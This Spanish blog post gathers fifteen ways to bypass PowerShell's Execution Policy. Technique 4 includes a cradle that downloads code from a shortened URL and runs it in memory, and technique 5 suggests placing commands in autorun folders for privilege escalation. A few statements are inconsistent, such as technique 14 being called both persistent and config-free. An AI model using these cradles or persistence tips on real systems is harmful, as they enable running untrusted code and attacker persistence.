Recopilatorio de formas de bypassear la Política de Ejecución (Execution Policy) en Powershell

PowerShell viene configurado por defecto para evitar la ejecución de scripts. Auqnue no debería, esto puede ser un obstáculo para los pentesters, administradores de sistemas y desarrolladores, ... y también para los atacantes. Sin embargo, se puede eludir esta política aún sin tener derechos de administrador local en el sistema. En un artículo en el blog de NetsPI de 2014 se mostraban numerosas formas de hacerlo que hoy en día siguen vigentes y por eso rescatamos.

¿Qué es la Política de Ejecución de Powershell o PowerShell Execution Policy?

La Política de Ejecución de Powershell es la configuración que determina qué tipo de scripts de PowerShell (si los hay) se pueden ejecutar en el sistema. Por defecto, está configurado como "Restringido" (en inglés "Restricted"), lo que básicamente significa ninguno. Sin embargo, es importante entender que esta política más que un control de seguridad estaba destinada a evitar que los administradores se peguen "un tiro en el pie". Es por eso que hay tantas opciones para cambiarla, incluyendo algunos que Microsoft ha proporcionado directamente.

Cómo ver la Política de Ejecución

Para ver la configuración actual se suele utilizar el comando de PowerShell "Get-ExectionPolicy". Si estás viendo la configuración por primera vez, es probable que esté configurada como "Restringida", como se muestra a continuación:

PS C:\> Get-ExecutionPolicy
Restricted


También vale la pena señalar que la política de ejecución se puede establecer en diferentes niveles en el sistema. Para ver una lista de ellos, usa el siguiente comando:

PS C:\> Get-ExecutionPolicy -List | Format-Table -AutoSize

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process       Undefined
  CurrentUser       Restricted
 LocalMachine       Restricted


Notas de configuración de laboratorio

En los ejemplos que se verán a continuación se usará un script llamado runme.ps1 que contiene el siguiente comando de PowerShell para escribir un mensaje a la consola:

Write-Host "Prueba"

Cuando se intente ejecutar en un sistema configurado con la política de ejecución predeterminada, aparecerá el siguiente error:


Si tu política actual es demasiado abierta y deseas hacerla más restrictiva para probar las técnicas que se mostrarán a continuación, ejecuta el comando "Set-ExecutionPolicy Restricted" desde una consola PowerShell con privilegios administrador. A continuación veremos 15 maneras de eludir las restricciones de la política de ejecución de PowerShell.

1. Pegar el script en una consola interactiva de PowerShell

Copia y pega el script de PowerShell en una consola interactiva como se muestra a continuación.

PS C:\> Write-Host "Prueba"
Prueba

Sin embargo, tenga en cuenta que estará limitado por los privilegios de su usuario actual. Este es el ejemplo más básico y puede ser útil para ejecutar scripts rápidos cuando tiene una consola interactiva. Además, esta técnica no da como resultado un cambio de configuración o requiere escritura en el disco

2. Echo al Script y Pipe a powershell

Simplemente haciendo un "echo" del script en la entrada estándar de PowerShell. Esta técnica tampoco da como resultado un cambio de configuración o requiere escritura en el disco.

C:\>echo Write-Host "Prueba" | PowerShell.exe -noprofile -
Prueba

3. Leer el script desde un archivo y pipe a PowerShell

Use el comando "type" de Windows o el comando "Get-Content" de PowerShell para leer el script desde el disco y enviarlo a la entrada estándar de PowerShell. Esta técnica no da como resultado un cambio en la configuración, pero sí requiere escribir el script en el disco. Sin embargo, se puede leer desde una carpeta de red compartida si se está tratando de evitar escribir en el disco.

PS C:\> Get-Content .\runme.ps1 | powershell.exe -noprofile -
Prueba

C:\> type .\runme.ps1 | powershell.exe -noprofile -
Prueba

4. Descargar el script de una URL y ejecutarlo con Invoke Expression

Esta técnica se puede utilizar para descargar un script de PowerShell de Internet y ejecutarlo sin tener que escribir en el disco. Tampoco da lugar a ningún cambio de configuración.

PS C:\> powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('http://bit.ly/1kEgbuH')"
Prueba

5. Uso del parámetro command

Esta técnica es muy similar a ejecutar un script mediante un simple copiar y pegar, pero se puede hacer sin la consola interactiva. Es útil para la ejecución de scripts simples, pero los scripts más complejos generalmente terminan con errores de sintaxis. Esta técnica no da como resultado un cambio de configuración o requiere escritura en el disco.

PS C:\> Powershell -command "Write-Host 'Prueba'"
Prueba

PS C:\> Powershell -c "Write-Host 'Prueba'"
Prueba

Importante señalar también que se pueden meter estos comandos de PowerShell en archivos batch o por lotes y colocarlos en ubicaciones de ejecución automática (como la carpeta de inicio de todos los usuarios) para ayudar durante la escalada de privilegios.

6. Uso del parámetro EncodeCommand

Similar al anterior pero todos los scripts se proporcionan como una cadena codificada Unicode/base64. De esta manera se evitan los errores de sintaxis producidos al usar "Comnmand". Esta técnica no da como resultado un cambio de configuración o requiere escritura en el disco.

PS C:\> $command = "Write-Host 'Prueba'"
PS C:\> $bytes = [System.Text.Encoding]::Unicode.GetBytes($command)
PS C:\> $encodedCommand = [Convert]::ToBase64String($bytes)
PS C:\> powershell.exe -EncodedCommand $encodedCommand
Prueba

C:\>powershell.exe -Enc VwByAGkAdABlAC0ASABvAHMAdAAgACcAUAByAHUAZQBiAGEAJwA=
Prueba


7. Uso del comando Invoke-Command

Normalmente se ejecuta a través de una consola interactiva PowerShell o en un único comando utilizando el parámetro "Command", pero lo bueno es que se puede utilizar para ejecutar comandos contra sistemas remotos donde se ha habilitado la comunicación remota de PowerShell. Esta técnica no da como resultado un cambio de configuración o requiere escritura en el disco.

PS C:\> Invoke-command -scriptblock {Write-Host "Prueba"}
Prueba

8. Uso del comando Invoke-Expression

Similar al anterior, pero llamando al script.

PS C:\> Get-Content .runme.ps1 | Invoke-Expression
Prueba

PS C:\> GC .runme.ps1 | iex
Prueba

9. Usando el flag "Bypass"

Microsoft introdujo un flag para omitir la política de ejecución cuando se ejecutan scripts desde un archivo. Cuando se usa este flag, Microsoft confirma que "Nada está bloqueado y no hay advertencias ni mensajes". Esta técnica no da como resultado un cambio de configuración o requiere escritura en el disco.  

PS C:\> PowerShell.exe -ExecutionPolicy Bypass -File .runme.ps1
Prueba

10. Usando el flag "Unrestricted"

Similar al anterior pero cuando se utiliza este flag y según Microsoft "Carga todos los archivos de configuración y ejecuta todos los scripts". Si ejecuta un script sin firmar que se descargó de Internet, se pedirá permiso antes de ejecutarlo. Esta técnica no da como resultado un cambio de configuración o requiere la escritura en el disco.

PS C:\> PowerShell.exe -ExecutionPolicy UnRestricted -File .runme.ps1
Prueba

11. Usando el flag "Remote-Signed"

Crea tu script y luego sigue el tutorial escrito por Carlos Pérez para firmarlo. Finalmente, ejecútalo usando el siguiente comando:

PS C:\> PowerShell.exe -ExecutionPolicy Remote-signed -File .runme.ps1
Prueba

12. Desactivar ExecutionPolicy cambiando el AuthorizationManager

La siguiente función se puede ejecutar a través de una consola interactiva de PowerShell o mediante el uso del parámetro "command". Una vez que se llama a la función, se cambiará el "AuthorizationManager" a nulo. Como resultado, la política de ejecución se liberará durante el resto de la sesión. Esta técnica no da como resultado un cambio de configuración persistente ni requiere escritura en el disco. Sin embargo, se aplicará el cambio durante la duración de la sesión.

PS C:\> function Disable-ExecutionPolicy {($ctx = $executioncontext.gettype().getfield("_context","nonpublic,instance").getvalue( $executioncontext)).gettype().getfield("_authorizationManager","nonpublic,instance").setvalue($ctx, (new-object System.Management.Automation.AuthorizationManager "Microsoft.PowerShell"))} 
PS C:\> Disable-ExecutionPolicy 
PS C:\> .\runme.ps1
Prueba

13. Establecer ExecutionPolicy para el scope del proceso

Como vimos en la introducción, la política de ejecución se puede aplicar en muchos niveles. Esto incluye el proceso sobre el cual se tiene control. Usando esta técnica, la política de ejecución puede establecerse sin restricciones durante la duración de la sesión. Además, no da como resultado un cambio de configuración o requiere escritura en el disco.

PS C:\> Set-ExecutionPolicy Bypass -Scope Process
PS C:\> .\runme.ps1
Prueba

14. Establecer ExecutionPolicy para el alcance del proceso via Command

Esta opción es similar al alcance o scope del proceso, pero aplica la configuración al entorno del usuario actual de forma persistente mediante la modificación de una clave de registro. Además, no da como resultado un cambio de configuración o requiere escritura en el disco.

PS C:\> Set-Executionpolicy -Scope CurrentUser -ExecutionPolicy UnRestricted
PS C:\> .\runme.ps1
Prueba

15. Establecer ExecutionPolicy para el alcance del proceso via el registro

Parecido a los anteriores pero se cambia la política de ejecución para el entorno del usuario actual de manera persistente modificando una clave de registro directamente.

HKEY_CURRENT_USER\Software\MicrosoftPowerShell\1\ShellIds\Microsoft.PowerShell


pd. Si conoces alguna técnica más para bypassear ExecutionPolicy en Powershell no lo dudes y comenta para añadirlo al post.

Referencias

Comentarios